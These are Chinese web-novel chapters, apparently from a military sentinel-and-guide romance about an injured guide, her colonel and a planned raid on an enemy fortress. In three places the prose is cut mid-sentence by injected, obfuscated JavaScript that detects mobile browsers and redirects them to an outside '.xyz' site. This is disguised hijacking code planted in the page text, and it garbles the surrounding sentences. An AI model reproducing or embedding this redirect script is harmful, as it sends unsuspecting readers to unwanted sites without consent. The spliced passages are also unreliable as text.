顾小绒只感觉眼前短暂地陷入了黑暗,而后明亮的白光再次刺入她的眼帘,她的思维好像有了瞬时的断片,她怎么能在战场上犯这种错误,一秒或是两秒,这可是要命的。 电-击枪……她的感知先于视觉恢复,她明明清晰记得自己已经扑到了电-击枪前,它明明就被牢牢抓在手里。 “啊!”向导不由发出一声震悚短促的尖叫:电-击枪呢?!我明明,我明明已经…… 浑身一阵巨震,左手空空如也,巨大的恐惧笼罩了向导,她拼命地支起身子。朦胧的视线完全无法对焦,她看不见电-击枪在哪里,四下只有无尽雪亮的白光,团簇着挤满她的视线,眼前所见的一切都被拆解成不甚清晰的光斑。但即使如此,她的目光还是捕捉到了那个快速贴近的高大身影—— 哨兵……哨兵!! 向导尖叫一声本能朝后退去,她只感觉左手一空,身后像是裂开了一个巨大的深渊,她的身体瞬间朝着那里坠落下去—— “啊啊啊啊啊——!!” 过于惨烈的叫声惊动了太多人,门被“砰”地一声打开。 沈骁首当其冲,毕竟他昨晚就睡在隔壁病房,曼琳和诺兰紧随其后,连程浩和正羽都从斜对面病房探出了头来。只见顾小绒一整个朝后摔下了床,韩奕直接越了过去一把将她抱住,他的左臂护着向导的头颈,右臂揽住向导的腿,向导距离撞击到地面也只剩大概20厘米。 虽然人是接住了,但兵荒马乱中左手的留置针被扯得七零八落,手背皮开肉绽、鲜血四溅。而因为骨裂被牢牢固定住包好的右手,也不知道慌乱中有没有被压住挪位…… 现场顿时陷入一片尴尬的沉默,韩奕气定神闲将向导重新放回了床上,他的气压变得更低了。 出于本能的恐惧,诺兰有一种想要扯扯自家哨兵从现场离开的冲动,但曼琳十分担心,她直接一步越过沈骁走进了屋子。 “小绒。”只见女哨兵侧坐到床前,温柔地摸了摸向导惊魂未定的脸:“已经没事了。”她俯下身子,用淡色的唇轻轻碰了碰顾小绒冰冷的额头,女哨兵释放出她的信息素,那是一股淡淡的茉莉花香,清澈如水、沁人心脾。 吓坏的向导僵硬了几秒才缓过神来,曼琳将她揽到自己怀里,她的胸口温暖而柔软。见顾小绒终于有了一点感应,曼琳将她半搂起来,轻轻拍着她的身子。 回过神来的向导将头埋进曼琳的怀抱,这里让她感到安全。她又怕又痛,一股巨大的酸涩直冲上来,那双湛蓝的眼眸里霎时蓄满了眼泪。 医生与护士的脚步紧接着跟了进来,经过昨晚的极限手术轮转,再看到眼前这一片狼藉,医生的低气压几乎已经快要超过韩奕,他上手算不上轻柔地检查着顾小绒快要崩开的右手以及胸口。护士无言地看着皮开肉绽的左手背,思考着哪里还可以继续扎针。 病房里此时已太过拥挤,外面也都是被声音惊动过来的其他哨兵与向导。沈骁不动声色地把韩奕往后别了别,看上去是要腾出空间,实际上是在委婉提醒哨兵认清现实。 在经历了这样剧烈的对弈与刺激后,向导对自己哨兵有点应激是正常的,还好他们昨天就已经把楚飞劝走了,要不然那阵仗应该比现在这里还要惨烈。 不过他也确实有事要和韩奕说,向导总负责人就这样无声无息地将哨兵总负责人架了出去。见这两人出来,围拢过来看热闹的哨兵与向导们也赶紧各自散了。 在隔壁病房、也就是沈骁新的临时办公室里,桌子上已经堆满了一沓文件。他从中找出了两份,一份是顾小绒执行任务回来的检查,一份是昨晚的。经过细致的查看,从顾小绒回来时候,检查便显示她胸后的脏器部分有微量出血,骨骼上也有一片不甚清晰的阴影,目前看来应该是从前线回来就负了伤,没有太严重但也没好全。 那时候所有人的精力都投在失控的哨兵这儿,向导看上去伤得不重,也没人在意。这就可以解释为什么昨天韩奕明明收了力,向导却还是被摔吐了血。吐血是伤及内脏的大事,有时候造成的伤害甚至终身无法修复,这就是为什么几乎一看到向导吐血,审判员的手就会放到终止的按钮上。 韩奕抽过那份资料,长眉紧蹙,他一夜没有休息,眼下全是一片疲惫的鸦青。 正当沈骁以为老战友会继续沉默时,对方却猝不及防地开了口:“那时候,我确实有几秒失去了控制。” “……”沈骁没有说话,他明白韩奕说的是战机上那个危急的时刻。 “她就在我身边。”哨兵的眼如同一片深黑的水渊,他的声音低沉而暗哑:“我在失去控制之前将她推开。” “所以,她撞上了机舱的墙壁。”沈骁看过战机的录像,他续上了接下来发生的事。 韩奕那时已在失控的边缘,力道失准也是正常的,就好比即使是清醒时,他也很难控制自己力量极大的腿部攻击一样。昨天韩奕与楚飞师徒俩如出一辙的鞭腿,导致除了顾小绒以外,周烨拔出电-击枪的手也有了轻微骨裂,他们都是在一瞬间被哨兵强大、迅捷的腿攻直接剥夺了行动力。 沈骁想要调侃几句,说楚飞和他真像,真是大的不好带坏小的。可是看到韩奕那样的神情,这话还是给咽了回去。 同一届的战友里,只有他与韩奕坚持到了现在,曾经并肩作战的战友有的已经牺牲、有的负伤退役。沈骁能很精确地感觉到韩奕的情绪,尽管哨兵极少表露出来,他素来内敛克制,几乎已将悲喜剥离出体外。比起人这个概念,很多时候他看起来都更像是为战争量身打造的武器。 此时这把武器眼神低沉,曾经坚硬凌厉的黑眸没有了一丝光,他看上去疲惫、缄默、神色空洞苍白。 “我写我的检查,你写你的。”许久的沉默后,哨兵这样说道。 “你有什么检查好写的,催化剂的事已经结了。”沈骁反倒是神色轻松:“向导这边我会安排,实际上我对这次的考核结果十分满意。” “你想想,周烨控制住了楚飞多久,顾小绒也挡了你将近300秒,这已经争取到足够的时间了。”沈骁回想着他的向导们,眼神熠熠闪光,他用郑重地语气说道:“他们每一个人都是我亲自筛选出来的,我很满意他们的成绩,每一个人都根据自己的力量与情况做出了最极致的反应,也有极其坚定的战斗素养。” S级向导可遇不可求,A级能做到这种程度,他感到骄傲。 好消息是,A级哨兵与向导抵抗训练的成功率高达68%,这还是在极其苛刻的200秒之内,预计半个月后的补考,合格率怎么都能达到80%。而对抗剂也已经研发了出来,经过了副作用、耐药性等各项实验,已经十分稳定,正准备投入批量生产。 “先让合格的那一批A级哨兵投入战场。”韩奕收回了刚才转瞬即逝的情绪,重新恢复到平日的模样。 “我也是这样想的。”沈骁赞同,他好像想起了什么,眼神里闪过一丝阴翳。 片刻的明灭分毫不差地落入哨兵眼中,韩奕没有发话,等着对方自己说。 “之前牺牲的哨兵找到了遗体……”沈骁缓缓转过身,从桌上抽出了埋在最底层的一份文件:“但是向导不见了。” 活不见人,死不见尸,这已经是第三起向导失踪事件。南方军向导极其匮乏,无法想象他们将向导掳去了哪里、做了什么。 “有什么线索吗?”哨兵的眼神变得锐利。 “我们有一对哨兵向导被俘虏了。”沈骁指了指一旁摊开的地图:“根据汇总的信息,应该是押去了萨特斯堡垒……” 维塞克城陷落之后,南方军最大的战俘营萨特斯堡垒被暂时与大后方切断,北方军阻隔了他们彼此之间的路线与支援,准备突入进去将被俘的士兵们都解救出来。因为害怕南方军狗急跳墙,目前暂时不敢有所动作,只是围而不攻,如果能在那里找到失踪向导的线索,那也再好不过…… “先别打草惊蛇,我去。”韩奕语气冷肃,事情就这样定了下来。 当顾小绒看见自己狼狈地从韩奕胯-下钻过的视频时,她觉得自己可以直接离开这个世界了。 下午的时候,隔壁程浩听说她醒了,便过来探望。顾小绒把自己的头蒙在被子里,她实在是没脸见人。 “害,多大的事。”诺兰见怪不怪,一脸波澜不惊:“不就是钻-胯嘛,又不是你一个,不丢人。” “可不。”娃娃脸向导拖来一把椅子坐下,他看上去十分疲惫,守伤患是个累人的活,睡也不敢睡死,还要时刻关注情况:“更丢人的姿势也不是没有。” 一个人菜是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055854|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的社死,但一个群体菜就是他们的保护色。 “你这就过来了,周烨醒了吗?”反正就在斜对面,也就两步距离,诺兰上午才去看过。 “没有。”娃娃脸向导摇摇头:“他昨晚痛得发疯,我和正羽两个人都按不住。”此时他的精神体、那只胖胖的兔狲实在是困倦了,在病房的角落里趴下去蜷缩起毛绒绒的尾巴,不多时就睡着了。 好乖,顾小绒的头终于从被子里探了一点点出来。但由于之前黑豹带来的心理阴影,她还是选择守好自己的小鸟,离猫科动物远一点。 “给打阵痛剂没?”诺兰支着头,他的熊猫团子看上去也有些困倦,趴在地上睡了。 “肯定得打啊,不然住院的就要成我俩了。”程浩指指自己眼角的乌青,看上去应该是被周烨激烈挣扎时不小心撞到的。 “你辛苦了……”那你还溜过来,留你哨兵一个人在病房里?诺兰嘴角抽了抽。 “你家哨兵呢?”程浩四下望了望,问道。 “曼琳啊?去门口溜达了。”诺兰指指外面:“现在还是别让某些哨兵过来比较好,她自己守着安心些。” “……”也不是没有道理。 上午上校把顾小绒吓到从床上跌下去,针头飞了固定带也豁了,医生气的要死,毫不客气地给上校下了逐客令。前线英雄、维塞克战役功勋之臣、全体哨兵的主心骨就这样被毫不留情地扫地出门,整个帝国上上下下谁敢给上校这样的脸色,还得是军区医院。 毕竟得罪谁也不能得罪医生,军医虽然也隶属于公会,但与哨兵向导的职级是分开的,彼此独立的体系没有绝对的上下级,他想叼谁就叼谁。 “诺兰,可以拜托你一件事吗?”顾小绒忽然想起了什么,钻出了被子。 “我想给周烨买几只花,等我能下床了就去看望他。”女孩认认真真地说,这事她已经想了很久。冬季已经持续了十年,鲜花是非常贵重的奢侈品,以中尉这个职级的收入,买几只至少需要半个月的工资。 顾小绒买的是三朵白色鸢尾,花送来时候只需要诺兰去医院门口取一下就好。 鸢尾是艾泽洛瑞恩帝国的代表,紫色象征皇族,白色代表英雄,通常是献给战士、表达崇敬。在维赛克战役大胜之后,韩奕就收到了来自帝国上下各个军部与公会送来的白色鸢尾,他们出院时,上校的办公室已经被鸢尾的海洋淹没。 程浩粗粗的眉毛松了松,露出一个微妙的表情:“他人还没醒呢,病房里已经堆满花了。” “你可别说都是女孩送的。”诺兰的表情也变得微妙了起来,好吧,严格来说是有那么一点点酸。 “那可不,好几个女向导送花来呢。”程浩翻了翻白眼:“当然男的也有。” 嫉妒使人面目全非。 昨天的直播周烨是怎样浴血奋战单扛S级哨兵的,所有人都看到了,也无外乎今天这么多花送过来。顾小绒都不敢想但凡她能拥有周烨的一半力量能怎么样,也许哪怕只有三分之一,她也不至于狼狈到钻哨兵的胯了。 玩笑开完,其实上S级哨兵抵抗训练向导完败、还伤得这么重,大家心里都有些难受,苦中作乐一下,算是自我安慰、互相打气。 顾小绒的心里掠过一丝隐秘的创痛,实际上这几天,虽然数据显示她的身体恢复良好,可是她的心就好像被剜去了一大块肉似的,空空地疼着。 她想念上校。 这个石破天惊的念想在她的心里,扎根到她的心脏与血肉深处、逐渐长成参天大树,根扎得如此之深、如此之紧,快要将她的全身都撑破。 自从进入中央公会开始,她和上校从来没有分开过,他就好像已经变成了她身体的一部分,像是空气一般不曾注意却又不可或缺。 她刚刚苏醒的时候,因为还没有从战时的状态中解脱出来,害得上校挨了医生的责备,她很自责,又没有可以解释的机会。她同样也是惧怕上校的,她怕他的责备,怕看见他失望的眼神,她比不过周烨这样的强大,在大庭广众下用了那样狼狈又耻辱的躲避方式…… 上校的身手与姿态是何等的利落挺拔,他怎么能忍受自己的向导用这样下三滥的招式…… 顾小绒无法面对这样的事实,她颓丧地重新把自己缩回了被子里。 16. 第十六章 快要正午的时分,阳光仍旧晦暗寒冷。天空铺满厚重的阴云,唯留下一丝细碎的缺口,透过苍白的天光。雪淋淋漓漓地落着,像是玻璃碎屑一般晶莹透亮。 诺兰看了看时间,现在是接近中午的11点14分,他今天很早就完成早练过来了,毕竟答应了顾小绒过来帮忙拿花。其实也不单单是帮顾小绒,向导群里已经催翻天了,个个都在问自己的花到了没,毕竟是那样稀罕的东西,都是砸重金买的。曼琳说她先去食堂弄点吃的带过来,那边的餐食比医院好吃,于是两人分头行动。 熊猫团子跟在自家主人身后,它虽然看起来毛绒绒的,其实还挺怕冷,一路颠着小耳朵快跑,一靠近医院大厅就一溜烟钻进去了。 护士台旁边放着显而易见的七八束花,五六束都是白色鸢尾,还剩两束是玫瑰,上面都插着卡片写着名字和一些祝福语。诺兰谨慎地核实了一下确实是都给周烨的,拍了照片发到群里,然后左一大把右一大把地把花抱了起来。 熊猫团子忽然打了个喷嚏,诺兰转过身去,身子不由打了一个寒颤—— 一阵冷风钻进空旷的白色大厅,玻璃门缓缓合上,两个颀长的身影一前一后走了进来,沈骁与韩奕的眼睛几乎是同时锁定在了诺兰怀抱的巨大花束上。 “啊……两位长官……”向导冷汗狂冒,他艰难地将右手的花挪去了左边,敬了个军礼。 韩奕深黑的眼微微眯起,雪亮的光朝着某个角落射去,诺兰汗流浃背地用余光瞄了下哨兵总负责人锁定的地方,在舒展曼妙的白色花瓣下,那里赫然放着一张白色银边的卡片: “献给 周烨前辈,愿早日康复,顾小绒。” 一阵巨大的冷意窜向四肢百骸,诺兰在那一刻感觉哨兵的气息如有实质般地向他倾轧而来,他紧张地吞咽了一下。 “哦,是给周烨的吧。”沈骁的声音缓缓响起,救诺兰于水火之中,他面带笑意,不急不缓道:“刚好我们也去看看他。” 上午的几组液体都快输完了,顾小绒慢慢起身把空掉的输液袋撤掉,将最后一袋液体放了下来。 “前辈,这个是抗生素,要不要输慢点?”她温声问,周烨正面容憔悴地躺在病床上,因为伤得太重,还无法动弹,只短短地嗯了一声。 顾小绒于是把输液的速度降了点,她也没有好到哪里去,胸口和右手还绑着固定带,但好歹是能缓慢行动了。曼琳诺兰、程浩正羽也都还有训练,不能一直长期在医院照顾他们,这时候只能伤患彼此互助。 周烨知道自己惨败在楚飞手下,也知道大家送来的花是无声的安慰,他陷落在巨大的痛苦里,无论是身体还是精神。顾小绒眼睁睁看着对方自我折磨,却无能为力。 “可以扶我坐起来一点吗……”躺久了,尾椎骨疼。周烨声音低哑,他的头被纱布包着,楚飞的那一肘子力道可怖,检查后显示轻微脑震荡,他这几天都难受得想吐。 “好。”顾小绒忙把床摇了起来,她能为周烨做的只有这些。 她的动作有些缓慢,见周烨的姿势还是很难受,便将仅剩能动的左手伸了过去将他扶起来。 两人都没有什么力气,周烨只能将右手搭在顾小绒肩上,缓慢地发力,只稍微挪动了一下身子,全身就痛得汗如雨下,几番挣扎后才终于坐了起来。 门发出清脆的几声扣响,随后便被打开了。 两个伤患哪里有力气立即撤下动作,全落在了突如其来的众人眼里。 在诺兰惊恐的目光里,韩奕与沈骁高大的身形将病房堵了个严严实实,顾小绒和周烨也有些愣了。也许是压迫感太过实质化,顾小绒的反应慢了半拍,她后知后觉抽回了自己的手,目光落在了诺兰极其难看的表情上,而后才缓慢定格到他抱着的一大束花里——她几乎是一眼就看到了自己买的那三朵鸢尾。 顾小绒瞬时汗如雨下,她感觉到身上被一道冷利的目光擦过,整个人如芒在背地伫立在原地,不敢抬头。 像是鸵鸟把头埋进沙子,只要她不去看自己就是安全的。 周烨挣扎着想要起身,沈骁赶紧上前两步让他躺下,顾小绒这才如梦初醒地对两位长官敬了军礼。 “周烨,你好些了吗?”沈骁温声问道。“好多了,谢长官关心。”重伤的向导答道。 “小绒,你呢?”向导总负责人无视了眼前僵硬的氛围,他刚才上前的两步将韩奕无声无息地遮挡在身后。“回长官,恢复良好,医生说如有必要,可以出院。”顾小绒赶忙答道。 “那就好。”沈骁话没说完,一阵香味便从走廊上传来,众人不由回头。 只见曼琳拎着一大桶炸鸡站在走廊尽头,完全意料之外地看着两位突如其来的长官,看得出来她原本是想躲来着,但食物的香味实在过于明显,几乎是瞬间就将她暴露。 沈骁的眼神何等敏锐,除了曼琳之外,连她身后扒拉着墙的那两位也看清楚了。程浩和正羽虽然缩了起来,但呆毛还是不可避免地露了出来,兔狲和哈士奇两个毛绒绒的头一上一下地叠着,正探头探脑地朝着这边望。 “刚好你们来,有事找你们。”沈骁微微一笑:“要出任务了。” 在病房搭建的临时办公室里,攻破萨特斯堡垒的任务框架被交待完毕,任务目标是救出里面被关押的我方800名士兵,这其中包括1位哨兵。 初步确定派出三队哨兵与向导前去执行任务,分别是:韩奕顾小绒、曼琳诺兰、正羽程浩。队伍级别较高,主要是希望可以快速控制住敌军,最大限度保证我方被俘士兵的生命安全。 “那向导呢?”曼琳敏锐捕捉到了问题的关键。 “没有情报,未知。”沈骁面容严肃:“这已经是第三例向导失踪事件,如果可以希望能找到一些线索。” 每一个向导的向导素都是登记在公会的,因此即使是逃跑也会被追踪,这种活不见人死不见尸的情况,再联想到南方军队向导的极其匮乏…… 室内陷入一片沉默。 “明天下午3点在我办公室,每队交出一个方案。”韩奕终于冷冷开口,这是他今天说的第一句话,三份资料被摊在桌上,那是公会得到的萨特斯堡垒的地理位置信息。 “散会。” 顾小绒跟着韩奕出去的时候,莉莎已经办完了出院手续,启动器也从沈骁的手里重新回到了她的手上,不过她知道自己持有这个东西的时间不多了。对抗剂已经被批量发到哨兵们手上,只需在出行任务前两个星期开始每天服用一颗就行,公会终于恢复了正常运转,将哨兵与向导重新投入到一线。 走出医院的时候,曼琳与诺兰也跟在他们身边,她听到两人在拌嘴。 “你怎么给伤员买炸鸡啊……”诺兰的语调是少有的责备:“该买点汤啊粥的,软一点的东西。” “可是……我每次受伤时候最想吃的就是炸鸡嘛……”曼琳委屈地解释着,声音变低了几分:“而且我这个月超支了,买不起牛腩粥了……” 买不起。 顾小绒的脚步忽然一顿,她想起了早上叽叽喳喳的向导群,那时候群里闹哄哄的,基本都是在问自己的花到没到、周烨醒没醒,她记得有一个女向导发了个表情包,说买了花后这个月只能吃土了。 她忽然发现自己忽略了一个严重的问题。 在韩奕又进入到会议室后,顾小绒眼疾手快地拉住了莉莎,她左右环顾才小心地将人拉到一个僻静的角落里。 “莉莎,我想问你一个事。”向导的神情紧张又严肃,把莉莎吓了一跳。 因为禁制环的原因,她和上校不能分开,每次吃饭除了莉莎送来,就是和上校一起在单独的军官区域进餐,她几乎没有刷过自己的卡吃过什么,得到的食物都十分丰盛,而她一直以为这是正常普遍的,从来没有问过公会给不同职级的士兵餐饮标准是什么。 莉莎听完她的问题后,惊诧的神情随即褪去,取而代之的是温柔而缄默的眼神,顾小绒从对方的眼睛里印证了自己的猜想。 “我的餐饮,多的部分是上校补贴的,是吗?”她问。 莉莎点点头。 “是上校自己私人的,还是公会给高职军官队友的福利?”顾小绒接着问道。 “嗯……严格来说是前者呢。”莉莎知道对方今天是一定要知道个结果的,她用尽量委婉的语调说:“公会给不同职级的军人餐饮标准确实不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩奕从来是不看的,只让大家上去轮流讲。 发言时默认一个主讲人,这个人通常是团队的首领与主导者。曼琳自然是当仁不让的,平日里无论是任务还是生活都是诺兰听她的,他们的队伍是哨兵主导。而另一边很明显是向导主导,程浩虽然长了张娃娃脸,但性格十分强势果决,很显然是在决策位置。 在座的主要话事人都是鹰派,所以给出的思路都差不多。他们三组人,分一组去找哨兵与没有消息的向导;另外两组直接突进到堡垒的控制台中心,过程中顺便解除敌方武装。 顾小绒是最后一个上的,她上去的时候上校将手搭在沙发的扶手上,垂眸看着窗外,阳光清冽地洒落下来,给他的身影镀上一层金边。上校的指尖修长白皙,此时正碾着一支笔,之前血肉淋漓的创口已经完全恢复,没有留下一丝伤痕。 她没有什么好补充的,主要是提出一些细节。她建议分三队行进,一队隐蔽性突入进控制台,一队在外围解除对方武装力量,另外一队去寻找哨兵以及失踪的向导。 她提到萨特斯堡垒还有巨大的地下结构,我方被俘的哨兵与向导很大程度会被关押在里面,因为哨兵危险性高,而向导具有较强的精神力,只有地底环境才能做到绝对的隔绝。 这三线的任务看上去都不难,难的是怎样保持隐蔽性、以及时间上的准确一致,三个方向缺一不可,否则都可能造成人质的损害,导致任务失败。 顾小绒说完后,紧张得捏了捏汗湿的手,她习惯性地望向对面,上校依然没有说话。 “我觉得小绒说的不错。”曼琳认真听完,确实如果他们强行朝内突围,外围的攻击很可能会将他们包夹其中、或者直接开始扫杀人质。而如果地面上行进顺利,地底下行进较慢,地底的敌军也可能会听到动静射杀我方哨兵…… 隐蔽性、时间上准确一致,曼琳将顾小绒刚刚提的这两点拿笔圈了起来,问道:“老师,那我们先进行几次模拟训练?先练练配合。” “可以,你们两队明日起开始训练,我这边下周开始。”韩奕终于答道,他修长的指节一收,将笔撤了回来。 17. 第十七章 顾小绒知道,韩奕让她下周再参加训练是顾及她的伤,毕竟伤及筋骨,顾小绒此时的行走和动作都不能太快。她的胸口和右手还绑着固定带,平时只能艰难地用左手书写一点点,之前的报告也是左手单个输入把字打出来的。这几天韩奕没有让她做任何训练,她也只需要跟着他往返在办公室与各个会议室之间。 顾小绒承认自己是不太灵敏的人,但是到第二天开会的时候她多少开始觉得有点不对劲了,而后她终于慢慢意识到一个可怕的事实:从她出院的那一天起,上校就没有再和她说过话。 白天的时候,上校几乎是一刻不停地穿梭在各个不同的会议室,她需要做的就是坐在外面等待。晚上的时候,上校也几乎是一个人伏案办公,她需要做的仍旧是等待。 每夜的微光都一如既往地洒落下来,上校面容冷肃地审视着前线的战报与文书,静默的眉眼在冷光中仿佛结了一层霜雪,那双沉黑的眸子再也没有望向她。 顾小绒第一次感觉到,即使有禁制环存在,但只要上校不想,她真的无法靠近他。 第四天,上校依旧是忙得在办公室脱不开身,顾小绒在外面的白色待客厅研读内战史册与南方军的派系起源,她坐久了难受便起身站站、站累了又坐,就这样煎熬地将时间打发到傍晚。 餐饮是被恭敬送上门的,伴随着一道浓稠热烈的香味,一道可口的牛排便被放到了她面前的桌上,送来的时候那上面还在滋滋冒油,看得出来烤得很嫩。为了中和牛排的坚硬,旁边还有罗宋汤、虾球、面包、土豆泥以及玉米奶昔,都是柔软又营养丰富的菜。 顾小绒沉默地望着眼前丰盛的晚宴,再想起前几天莉莎和她说的事,某种尽力忽略的情绪又攀援而上,将她笼罩其中。她尚且能动的左手微微颤了颤,竟然没敢去握盘子旁边的银叉。 军服细微的摩挲声从头上响起,伴随着极淡的雪松味,上校长腿一迈便走到她对面坐下,随后在向导意外的目光里,那双修长的手拿起了餐盘旁的银刀和银叉,开始将牛排一小块一小块地切开。 这一次,被固定带牢牢包裹的右手颤了颤。 顾小绒定定看着上校的动作,忽然开口道:“长官,对不起。” 她看到那双原本利落的刀叉顿了顿,她不敢抬头望他,继续道:“这次的抵抗训练考核,我成绩太不理想,辜负了您的期望,对不起。” 微顿的双手重新动了起来,刀叉轻轻碰撞,速度放慢了一些。 “在医院醒来的时候,我没有从战时状态里调整过来,无意间冲撞了您,对不起。” 曾经受伤脱落的指甲已经恢复如初,他的指尖流畅修长、透着淡淡的莹白,分明的骨节之上是淡淡的青色脉络。牛排被十分均匀地切割成了容易入口的小块,每一刀的力道也都均匀一致。 “这次的整个S级哨兵抵抗考核,向导的成绩都很不理想,大家心里都很难过……”顾小绒深吸一口气,缓缓吐出:“我不想让优秀的同伴过于自责,我只是感觉需要一点希望……” 这是她绞尽脑汁思考出来的三点,除此之外似乎也没了。 “以后我会继续努力训练的。”顾小绒最后说道,她说不出什么豪言壮语或是保证,也许她心里已经知道这是一座无法攀爬的高山,她只能期望每一次的自己能比上一次更好。 牛排切到了尾声,那双好看交叠的手分开两边,将刀叉各自放下,她仍旧不敢抬起眼睛。 “吃饭。”只听上校喉间微动,沉声说道。 他们似乎又回到了以前的样子,好像一切都没有变,好像这几天的异样不过是顾小绒的错觉。 说是下周,其实真的等到医生拆除固定带的时候,已经过去了十多天。上一次从战场上回来后,顾小绒一直忙于照顾哨兵、开会、训练,直到最后的考核都没有休息过,所以伤口一直没有好全。而这一次她着实是得到了前所未有的充分休息,在确定了检查结果无恙之后,固定带才被解除下来。 “以后如果身体有问题,要立即向我报告。”上校忽然说。 “是……”顾小绒垂着头回答道。战士的身体也是国家的资源,需要最高标准的保养与维护,他们是十分昂贵的战争机器。 “上去。”上校的目光落到眼前的电子秤上,顾小绒听话地站了上去,因为受伤的缘故,她比之前轻了四五斤,这不是个好消息。她的体重较之于形体已经偏轻,每次体测时候都很危险,选入中央公会时也差点因为这个数据被卡住。 “外套脱下。”上校继续命令道。 “……”向导顺从地照做,数字很不幸地再往下掉了两斤。 体重轻则力量小,这对于战士来说是致命的,因此公会对于士兵都会有与身高对应的体重标准。 上校的神情果然很难看,许久之后才开口道:“以后基础训练改为力量训练。” “是……”顾小绒答到。 不过按照现在的情况,力量训练大概只能往后放了,毕竟距离他们的下一次任务也只有不到20天。 他们的任务划分是:曼琳负责潜入堡垒内部夺取控制台,正羽负责外围掩护并解除敌方武装,而韩奕负责的仍就是危险度最高的部分——潜入地底搜寻哨兵。 夺取控制台是最为重要的环节,曼琳向来稳妥,应该是没有问题。而正羽一直属于轻型哨兵,他更擅长于速度而不是力量,要面对这样庞大的外部武装力量,也许有些吃力。 上校为此把实训难度几乎拉到了极限,过来陪练的哨兵与士兵全都是真人,没有机器,数量上更是堪称饱和式猎杀、不留活口式攻击。上次抵抗训练里但凡向导伤得轻些、能动的S级哨兵也全被拉过来陪练,永远也不知道哪个方向会忽然猝不及防地窜出个S级来…… 顾小绒能很明显感觉到曼琳和正羽的崩溃,这个时候向导的重要性便突显了出来。诺兰虽然平日里是温和的性子,但实际上是力量极强的重型向导,这个“重型”除了体力之外还有精神力,熊猫团子看上去可爱温吞,但实际上与猫并无关联,是货真价实、力量巨大的熊。有他的力量做支撑,曼琳的矫健灵敏才能最大程度的发挥出来。 同样,程浩是机动性极强的向导,由于和外围武装的对弈几乎就是无需任何技巧的大开杀戒,这对于程浩来说实在是得心应手,枪和小型电磁炮完全属于他的舒适区。电磁炮的难度不在于力量,而在于使用的准确性,不然一不小心很容易炸塌建筑,娃娃脸向导一脸云淡风轻,表示全在掌握之中,他的哨兵没有任何后顾之忧。 当然最难的,还是在韩奕和顾小绒这里。 因为地底完全隔绝信号,他们的情报里几乎没有地下的结构图,到时候去了是什么情况完全未知,纯属开盲盒。 为了避免深入地下后信号被切断,他们的行动时间被统一到了65分钟,到了时间无论是否有信号、是否完成任务,都必须撤离。 实训时候为了尽可能模拟到真实情况,战场已经将之前北方能探知到的几乎所有敌方地下结构都模拟了一遍。其实分类完毕后,无论是怎样的空间形态,也就两种——一种是高度智能化的现代类,一种则是完全机械防御的传统类。 如果是现代类,只要突入进去,使用破译器就可以控制整个系统,如同上一次切断维赛克城防御系统一样。现代类防御设施敏锐、快速、易拦截,难以突进到深处,可一旦成功就很容易操作。而传统类几乎就是硬桥硬马的钢筋铁锁,也许每一把不同的机械巨锁都需要对应的钥匙才能打开,传统类防御设施不如现代类灵敏高效,但真的突破起来却是很吃力的。 但无论现代类还是传统类,唯一隐蔽的进入渠道就是通风口,毕竟是这样庞大的地下空间,必须要有足够大的通风管道保证空气供应,宽度至少能容纳一人。 大体的战略与方向确定后,剩下的就是不断打磨实战战术,顾小绒需要补全上一个单元没来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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战机到的时候,皑皑白雪已经止歇,顾小绒看着眼前这一切,很难把这和第一次任务的地方联系起来。那时候虽然是深夜,但她还是清晰记得高耸的建筑群与巍峨的城墙,机械堡垒犹如巨人之躯一般横卧,从上便能看到身后一望无际的平原,这里曾是何等的坚不可摧、宏伟繁华。 可现在,出现在她面前的只有突兀焦黑的建筑残体,饱和式攻击几乎将整个城市摧毁。在北方军占领维塞克城之后,首先做的就是架起自己的防御系统,以及修缮城墙和重要防御工事。残破的废墟上,装甲车与货车井然有序地穿行着,远远便能看见机械臂与建筑工人正在施工。 机械的轰鸣、电焊的火花交织在一处,让这座死去的城市遗骸看上去不再荒凉,好像以后某个时候就能重新复活过来似的。她当然相信北方军治下的苍穹,会比滥杀无辜的南方明亮辽阔得多。 任务如同往常一样是夜间进行。 萨特斯堡垒的四周都是荒凉的山壁,上面巨石林立、早已没有植物,因而几乎没有任何遮挡,万幸晚上来了一场不算小的风雪,这样的暴风雪让可视距离几乎缩短到了10米之内,即使是超强光的探照灯柱照进暴风雪,也会被无垠的黑夜吞噬。 可暴风雪的坏处在于,即使是如哨兵向导这样的战争兵器,这样的天气也足以快速夺取他们的体能甚至体温,毕竟作战服的抗寒能力是有极限的。 等他们三队六人从不同方向贴近堡垒外壁时,几乎连韩奕都修整了三分钟才让冷得失去知觉的身体恢复过来。五分钟的休整时间过后,上校最后一次询问了所有人的状态,得到肯定答复之后,行动正式开始。 从这一刻起,65分钟开始倒计时。 进去的时候一路顺遂,现在本是深夜时分,几乎没有人在负一楼巡逻。65分钟其实是十分极限的时间,他们几乎是一路小跑行进。韩奕从城墙哨站到地下入口解决了5个人,除了城墙是远距离消音手枪完成之外,其余全是用刀。顾小绒一路干扰着热感应器与监控器,韩奕的刀仍旧是快得寻不到踪影。 即使是这样,当他们爬进通风管道时,时间已经消耗了12分钟。 顾小绒来不及思索,哨兵在前她在后,他们快速朝着通风管道入口滑去。 黑暗骤然笼罩而下,一切属于世间该有的声音都戛然而止,精神力也逐渐无法探查到地面,向导感到片刻的不安与窒息。她迅速调整了状态,随哨兵一起快速向地底深处行进。 18. 第十八章 